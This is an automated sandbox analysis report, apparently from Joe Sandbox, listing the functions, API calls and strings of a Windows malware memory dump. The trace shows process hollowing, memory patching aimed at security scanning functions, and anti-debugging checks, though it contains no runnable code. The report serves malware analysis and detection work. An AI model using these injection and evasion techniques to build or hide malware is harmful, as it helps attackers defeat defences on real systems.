Opcode ID: 2d7264444570c5e3af3e248cb62a6be16325ccdc324eff6384d5d53cdaf12a07
Instruction ID: a6dfb7b387dfde8f48966b517cbe65386130723de8bbcf1d46f689bb5078ac4d
Opcode Fuzzy Hash: 2d7264444570c5e3af3e248cb62a6be16325ccdc324eff6384d5d53cdaf12a07
Instruction Fuzzy Hash: F3E20C75A501199FEF21FBA8CD81EDEB3BAAFC5310F1454E5A009AB254DE30AE85CF50

Function 029981B6 Relevance: 54.1, APIs: 8, Strings: 22, Instructions: 1577
nativeprocessthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02997E14: LoadLibraryExA.KERNEL32(00000000,00000000,00000000,00000000,02997F0D), ref: 02997E4C
Part of subcall function 02997E14: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,00000000,02997F0D), ref: 02997E5A
Part of subcall function 02997E14: GetProcAddress.KERNEL32(75370000,00000000), ref: 02997E73
Part of subcall function 02997E14: NtFlushInstructionCache.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,00000000,00000000,029D7364,Function_000065E0,00000004,029D7374,85B025FF,52943FFC,00000040,029D7378,75370000,00000000,00000000,00000000), ref: 02997EE2
Part of subcall function 02997E14: FreeLibrary.KERNEL32(75370000,00000000,00000000,00000000,00000000,029D7364,Function_000065E0,00000004,029D7374,85B025FF,52943FFC,00000040,029D7378,75370000,00000000,00000000), ref: 02997EED

CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,029D73BC,029D73AC,OpenSession,029D7384,02999D18,ScanString,029D7384), ref: 029986B6
GetThreadContext.KERNEL32(00000894,029D7400,ScanString,029D7384,02999D18,UacInitialize,029D7384,02999D18,ScanBuffer,029D7384,02999D18,ScanBuffer,029D7384,02999D18,UacInitialize,029D7384), ref: 02998A4F
NtReadVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000898,003F7FF8,029D74D4,00000004,029D74DC,ScanBuffer,029D7384,02999D18,ScanString,029D7384,02999D18,Initialize,029D7384,02999D18,UacScan,029D7384), ref: 02998CAC
NtUnmapViewOfSection.N(00000898,00400000,ScanBuffer,029D7384,02999D18,ScanString,029D7384,02999D18,Initialize,029D7384,02999D18,00000898,003F7FF8,029D74D4,00000004,029D74DC), ref: 02998E27

Part of subcall function 02997944: GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 02997951
Part of subcall function 02997944: GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 02997957
Part of subcall function 02997944: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02997977

Strings

OpenSession, xrefs: 029981F1, 02998614, 029986C6, 02999A9C, 02999BB8
bcrypt, xrefs: 029999C5, 029999D9, 029999ED
dbgcore, xrefs: 02999B66, 02999B7A
BCryptVerifySignature, xrefs: 029999C0
NtOpenProcess, xrefs: 02999B9D
MiniDumpReadDumpStream, xrefs: 02999B75
ntdll, xrefs: 02999A72, 02999A86, 02999B3E, 02999B8E, 02999BA2
advapi32, xrefs: 02999B52
BCryptQueryProviderRegistration, xrefs: 029999D4
NtOpenObjectAuditAlarm, xrefs: 02999A81, 02999B39
BCryptRegisterProvider, xrefs: 029999E8
I_QueryTagInformation, xrefs: 02999B4D
MiniDumpWriteDump, xrefs: 02999B61
ScanBuffer, xrefs: 02998314, 0299839C, 02998737, 0299884C, 029988EE, 02998C27, 02998DAE, 02998F41, 02999126, 0299923B, 029993F9, 02999569, 029996DC, 029998D0, 02999AEE, 02999C29
NtSetSecurityObject, xrefs: 02999B89
NtReadVirtualMemory, xrefs: 02999A6D
Initialize, xrefs: 02998532, 02998B45, 02998CCC, 029990B5, 02999317, 02999487, 029995FA, 0299985F
SLGetLicenseInformation, xrefs: 029987A7
UacScan, xrefs: 029982BB, 029984D3, 02998AD4, 02998ED0, 02999044, 029997EE
sppc, xrefs: 029987BE
ScanString, xrefs: 0299824A, 029983F5, 029985A3, 029989D0, 02998BB6, 02998D3D, 029991CA, 02999388, 029994F8, 0299966B, 02999956, 02999A03
UacInitialize, xrefs: 0299847A, 029987DB, 0299895F, 02998A63, 0299977D

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: AddressHandleLibraryMemoryModuleProcVirtual$AllocateCacheContextCreateFlushFreeInstructionLoadProcessReadSectionThreadUnmapUserView
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 1803274339-51457883
Opcode ID: a601048772cfb2d7616f5cf851a574f41bf0285b344385b17a282aaa84a7c0dc
Instruction ID: 94f548662f857131f022fa3e7de1cf85fb045195f92758bd9258e7bf46314ad1
Opcode Fuzzy Hash: a601048772cfb2d7616f5cf851a574f41bf0285b344385b17a282aaa84a7c0dc
Instruction Fuzzy Hash: FFE20C75A501199FEF21FBA8CD81EDEB3BAAFC5310F1454A5A009AB254DE30AE85CF50

Function 02985A78 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105,02980000,029AB790), ref: 02985A94
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02980000,029AB790), ref: 02985AB2
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02980000,029AB790), ref: 02985AD0
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02985AEE
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02985B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02985B37
RegQueryValueExA.ADVAPI32(?,02985CE4,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02985B7D,?,80000001), ref: 02985B55
RegCloseKey.ADVAPI32(?,02985B84,00000000,?,?,00000000,02985B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02985B77
lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02985B94
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02985BA1
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02985BA7
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02985BD2
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02985C19
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02985C29
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02985C51
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02985C61
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02985C87
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02985C97

Strings

Software\Borland\Locales, xrefs: 02985AA8, 02985AC6
Software\Borland\Delphi\Locales, xrefs: 02985AE4

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: a89973d87c030b4cf17730beb74d89c4a4c633d7efdd3ed6801e04b15f75d544
Instruction ID: 23def2c09a425f169f54f8c6aba11bb05b480a96eb552cbe9b068780dc78d36e
Opcode Fuzzy Hash: a89973d87c030b4cf17730beb74d89c4a4c633d7efdd3ed6801e04b15f75d544
Instruction Fuzzy Hash: 4D51B571A4020C7EFB25EAE4CC46FEF77AD9B44754F8A01A5A704E61C0DB749A488F61

Function 02997A92 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45
librarynativeloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(ntdll,00000000,00000000,02997B18,?,?,00000000), ref: 02997AD8
GetProcAddress.KERNEL32(00000000,ntdll), ref: 02997ADE
NtWriteVirtualMemory.NTDLL(?,?,?,?,?,00000000,ntdll,00000000,00000000,02997B18,?,?,00000000), ref: 02997AFC

Strings

ntdll, xrefs: 02997AD3
irtualMemory, xrefs: 02997AAD
NtWriteV, xrefs: 02997AC0

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: AddressHandleMemoryModuleProcVirtualWrite
String ID: NtWriteV$irtualMemory$ntdll
API String ID: 4260932595-852282483
Opcode ID: c207579aefcfa06b31b5dde2012ec39a14c75e6d7984d0ed3bf3ae69c383cb48
Instruction ID: e2bb293f6bf61f99d05aeac348d59b27039474bac2664c4698ef71f1bb074f9c
Opcode Fuzzy Hash: c207579aefcfa06b31b5dde2012ec39a14c75e6d7984d0ed3bf3ae69c383cb48
Instruction Fuzzy Hash: F6014FB5654208AFEB00EFE8D841DEFF7EDEB88720B554868B904D7600DA30ED109B60

Function 02997A94 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 44
librarynativeloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(ntdll,00000000,00000000,02997B18,?,?,00000000), ref: 02997AD8
GetProcAddress.KERNEL32(00000000,ntdll), ref: 02997ADE
NtWriteVirtualMemory.NTDLL(?,?,?,?,?,00000000,ntdll,00000000,00000000,02997B18,?,?,00000000), ref: 02997AFC

Strings

ntdll, xrefs: 02997AD3
irtualMemory, xrefs: 02997AAD
NtWriteV, xrefs: 02997AC0

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: AddressHandleMemoryModuleProcVirtualWrite
String ID: NtWriteV$irtualMemory$ntdll
API String ID: 4260932595-852282483
Opcode ID: 27a9e208ba267549223fcf2d499669c4c77c0c5a00f0ac53e71eeb96387d6cbe
Instruction ID: 0c0e47be9cf5064da766e6527c5321fc2e6e7e521cc967ff7f20afe75fd05143
Opcode Fuzzy Hash: 27a9e208ba267549223fcf2d499669c4c77c0c5a00f0ac53e71eeb96387d6cbe
Instruction Fuzzy Hash: D1014FB5654208AFDB00EFE8D841DEFF7EDEB88720B554868B904D7600DA30ED109B60

Function 02997CC8 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40
librarynativeloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(bcrypt,?,00000894,00000000,029D7384,029999D4,ScanString,029D7384,02999D18,ScanBuffer,029D7384,02999D18,Initialize,029D7384,02999D18,UacScan), ref: 02997CDC
GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02997CF6
NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000898,00000000,029D7368,00000001,029D7374,00000000,BCryptVerifySignature,bcrypt,?,00000894,00000000,029D7384,029999D4,ScanString,029D7384,02999D18), ref: 02997D1C
FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000894,00000000,029D7384,029999D4,ScanString,029D7384,02999D18,ScanBuffer,029D7384,02999D18,Initialize), ref: 02997D32

Strings

bcrypt, xrefs: 02997CDB
BCryptVerifySignature, xrefs: 02997CEF

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
String ID: BCryptVerifySignature$bcrypt
API String ID: 1002360270-4067648912
Opcode ID: b32b56df2515201832b73919104611cfdf476aef0a99e24f05488edfa362c564
Instruction ID: 7c147904da84b423ba6848271d6ff19755299b2b592c78e058aa73b477b14a20
Opcode Fuzzy Hash: b32b56df2515201832b73919104611cfdf476aef0a99e24f05488edfa362c564
Instruction Fuzzy Hash: 76F08171AC62146FD714AAFCBC44BFAF39CA785664F040926B914C6280DB706891DB60

Function 0299DA24 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 33
librarynativeloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(ntdll), ref: 0299DA34
GetProcAddress.KERNEL32(00000000,ZwQueryInformationProcess), ref: 0299DA46
NtQueryInformationProcess.NTDLL(FFFFFFFF,0000001F,?,00000004,?,00000000,ZwQueryInformationProcess,ntdll), ref: 0299DA65

Strings

ZwQueryInformationProcess, xrefs: 0299DA40
ntdll, xrefs: 0299DA2F

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: AddressHandleInformationModuleProcProcessQuery
String ID: ZwQueryInformationProcess$ntdll
API String ID: 3384173408-191046249
Opcode ID: 9b377f97e4dc4a70d0a1908ea7d53cda15bfc19f25c600e5fe107f01432d755b
Instruction ID: def9b959e3a6a1291b8ef230d767503e7a24683438fac0fca57f9f55c55b2775
Opcode Fuzzy Hash: 9b377f97e4dc4a70d0a1908ea7d53cda15bfc19f25c600e5fe107f01432d755b
Instruction Fuzzy Hash: 4BF0B470D48248BAEF10AAFC8C89BEDB7AC9B05334F144391A934A61C1D77453108B65

Function 0299D9A4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 32
librarynativeloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(ntdll), ref: 0299D9B4
GetProcAddress.KERNEL32(00000000,ZwQueryInformationProcess), ref: 0299D9C6
NtQueryInformationProcess.NTDLL(FFFFFFFF,00000007,?,00000004,?,00000000,ZwQueryInformationProcess,ntdll), ref: 0299D9E5

Strings

ZwQueryInformationProcess, xrefs: 0299D9C0
ntdll, xrefs: 0299D9AF

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: AddressHandleInformationModuleProcProcessQuery
String ID: ZwQueryInformationProcess$ntdll
API String ID: 3384173408-191046249
Opcode ID: 013acc2fbb0b6616be4f24d06e2df4cbd4e4217f7538ace2c80913bbb1ddd8d4
Instruction ID: 50ff846fff74fe4d43e5a708ac47aae8f208d30c936cb01cf824dc5524ca2182
Opcode Fuzzy Hash: 013acc2fbb0b6616be4f24d06e2df4cbd4e4217f7538ace2c80913bbb1ddd8d4
Instruction Fuzzy Hash: 22F0B430C05258BDEB10B6ACCC89BECB7AC5B05334F548390A578A51C0D7745A448B61

Function 0299D920 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(KernelBase), ref: 0299D930
GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 0299D942
CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 0299D959

Strings

CheckRemoteDebuggerPresent, xrefs: 0299D93C
KernelBase, xrefs: 0299D92B

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: AddressCheckDebuggerHandleModulePresentProcRemote
String ID: CheckRemoteDebuggerPresent$KernelBase
API String ID: 35162468-539270669
Opcode ID: 958ad403b03c25d8da9ef61e936251191057d6128725c7d8d3b70f069ed3c4de
Instruction ID: adc88458c4ac690b86685298cda40ba8c209e333fdfc0da2f6341470a7c8013c
Opcode Fuzzy Hash: 958ad403b03c25d8da9ef61e936251191057d6128725c7d8d3b70f069ed3c4de
Instruction Fuzzy Hash: C1F08C30905248AEEF10B6ACC8C879CFBAD9B05378F6803D4A468B61C5E77107808761

Function 02997942 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24librarymemorynativeCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 02997951
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 02997957
NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02997977

Strings

C:\Windows\System32\ntdll.dll, xrefs: 0299794C
NtAllocateVirtualMemory, xrefs: 02997947

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: AddressAllocateHandleMemoryModuleProcVirtual
String ID: C:\Windows\System32\ntdll.dll$NtAllocateVirtualMemory
API String ID: 421316089-2206134580
Opcode ID: 6fe676d7c64e2773f8de043e7243b46ec912f5f08359b0acdb3a4f0d6031de41
Instruction ID: 89bbe4e20f4d58b396b458f90c2d8ff6f51e044ec43f1535cc7a890db0e6f149
Opcode Fuzzy Hash: 6fe676d7c64e2773f8de043e7243b46ec912f5f08359b0acdb3a4f0d6031de41
Instruction Fuzzy Hash: 28E092B6690248BFEB00DFD8DC45EEBB79CEB48720F004411BD15C7140D670D9509BB5

Function 02997944 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23librarymemorynativeCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 02997951
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 02997957
NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02997977

Strings

C:\Windows\System32\ntdll.dll, xrefs: 0299794C
NtAllocateVirtualMemory, xrefs: 02997947

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: AddressAllocateHandleMemoryModuleProcVirtual
String ID: C:\Windows\System32\ntdll.dll$NtAllocateVirtualMemory
API String ID: 421316089-2206134580
Opcode ID: 9ef670b8e09daac3ef8eea91d85629c683a4c9d8c81a936c47a4c438fd8a61a2
Instruction ID: 614bb45d74d97a0595976b4568aca3887ace205472f380abae2a838b81273380
Opcode Fuzzy Hash: 9ef670b8e09daac3ef8eea91d85629c683a4c9d8c81a936c47a4c438fd8a61a2
Instruction Fuzzy Hash: 76E09AB6590248BFEB00EFD8DC45EEBB7ACEB48720F004411BE19CB240DA70E5509BB5

Function 0299C898 Relevance: 7.6, APIs: 5, Instructions: 80nativefileCOMMON

Download Yara Rule

APIs

Part of subcall function 02984ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02984EDA

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0299C968), ref: 0299C8D3
NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,0299C968), ref: 0299C903
NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 0299C918
NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 0299C944
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 0299C94D

Part of subcall function 02984C0C: SysFreeString.OLEAUT32(0299D680), ref: 02984C1A

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: File$PathString$AllocCloseFreeInformationNameName_OpenQueryRead
String ID:
API String ID: 1897104825-0
Opcode ID: 93269e72644763c80d07d60f4fc4e61f0df2612c24b5528ec72d76b62c814894
Instruction ID: 0190a59eeef15a5a014ef42918efaa6944466ae3ebe419e1d9c249ce0b32493e
Opcode Fuzzy Hash: 93269e72644763c80d07d60f4fc4e61f0df2612c24b5528ec72d76b62c814894
Instruction Fuzzy Hash: 9621A175A503097EEB11EAE8CC42FEEB7BDAF48B10F541461B601F71C0DAB4AA058B55

Function 02997E14 Relevance: 7.6, APIs: 5, Instructions: 72librarynativeloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32(00000000,00000000,00000000,00000000,02997F0D), ref: 02997E4C
GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,00000000,02997F0D), ref: 02997E5A
GetProcAddress.KERNEL32(75370000,00000000), ref: 02997E73

Part of subcall function 02997D4C: GetModuleHandleA.KERNEL32(kernel32,00000000,00000000,02997DD1,?,?,00000000,00000000), ref: 02997D8D
Part of subcall function 02997D4C: GetProcAddress.KERNEL32(00000000,kernel32), ref: 02997D93
Part of subcall function 02997D4C: VirtualProtect.KERNEL32(?,?,?,?,00000000,kernel32,00000000,00000000,02997DD1,?,?,00000000,00000000), ref: 02997DAD

Part of subcall function 02997B5C: GetModuleHandleW.KERNEL32(KernelBase,00000000,02997C60,00000000,00000000,00000000,00000000,00000000,oces,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02997BDE
Part of subcall function 02997B5C: GetProcAddress.KERNEL32(00000000,KernelBase), ref: 02997BE4
Part of subcall function 02997B5C: GetCurrentProcess.KERNELBASE ref: 02997BEE

Part of subcall function 02997A94: GetModuleHandleA.KERNEL32(ntdll,00000000,00000000,02997B18,?,?,00000000), ref: 02997AD8
Part of subcall function 02997A94: GetProcAddress.KERNEL32(00000000,ntdll), ref: 02997ADE
Part of subcall function 02997A94: NtWriteVirtualMemory.NTDLL(?,?,?,?,?,00000000,ntdll,00000000,00000000,02997B18,?,?,00000000), ref: 02997AFC

NtFlushInstructionCache.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,00000000,00000000,029D7364,Function_000065E0,00000004,029D7374,85B025FF,52943FFC,00000040,029D7378,75370000,00000000,00000000,00000000), ref: 02997EE2
FreeLibrary.KERNEL32(75370000,00000000,00000000,00000000,00000000,029D7364,Function_000065E0,00000004,029D7374,85B025FF,52943FFC,00000040,029D7378,75370000,00000000,00000000), ref: 02997EED

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc$LibraryVirtual$CacheCurrentFlushFreeInstructionLoadMemoryProcessProtectWrite
String ID:
API String ID: 720200146-0
Opcode ID: 3071cf4d5260b29753eefbf65ac86310e9ca59da174886cd35f658af8edc23f6
Instruction ID: e0e0e06ec17085fa53dee8482707c8bc85f17d53ff92125a60f5500afcf82e45
Opcode Fuzzy Hash: 3071cf4d5260b29753eefbf65ac86310e9ca59da174886cd35f658af8edc23f6
Instruction Fuzzy Hash: A42142B0A94304ABEB14FBE8DC02FAEF7AAABC5B10F5444647604EB3C0DA3499109A54

Function 0299D028 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111networkCOMMON

Download Yara Rule

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 0299D166

Strings

ScanBuffer, xrefs: 0299D0AF
OpenSession, xrefs: 0299D108
Initialize, xrefs: 0299D056

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: ced79bd8511bb2c7106fae8d71b265661f9b5f8ba654affc0dca71629ecaf22a
Instruction ID: edc90b62693d913e1c8f582fe3e2c9d18ad497353a1db215c989385a9218f7c0
Opcode Fuzzy Hash: ced79bd8511bb2c7106fae8d71b265661f9b5f8ba654affc0dca71629ecaf22a
Instruction Fuzzy Hash: B241ED31A502099FEF14FBE8C981EDEB3FAAFC9720F655426E041A7250DA75AD018F60

Function 0299CD74 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0299CD82
Sleep.KERNEL32(00000000,?,0299DCF4,ScanString,029D7358,029A8D7C,OpenSession,029D7358,029A8D7C,UacScan,029D7358,029A8D7C,OpenSession,029D7358,029A8D7C,Initialize), ref: 0299CD94
GetTickCount.KERNEL32 ref: 0299CD99

Strings

500, xrefs: 0299CD89

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: CountTick$Sleep
String ID: 500
API String ID: 4250438611-612300854
Opcode ID: 0fbf35fe85d7ba608f2b03eca2aa7a9c0e618879dc0aa64c77324e53c2fece00
Instruction ID: bf378893c05d966fe53ae77b1966506a7a54e4226ff83ced781a5b67dccec524
Opcode Fuzzy Hash: 0fbf35fe85d7ba608f2b03eca2aa7a9c0e618879dc0aa64c77324e53c2fece00
Instruction Fuzzy Hash: 74C08CF96216430BCE00BEFC0CC46EB069E8FC83A2F2C2D33E017CE100C8268A122934

Function 0299C7B2 Relevance: 6.1, APIs: 4, Instructions: 81nativefileCOMMON

Download Yara Rule

APIs

Part of subcall function 02984ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02984EDA

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0299C886), ref: 0299C7F3
NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0299C82D
NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 0299C85A
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 0299C863

Memory Dump Source

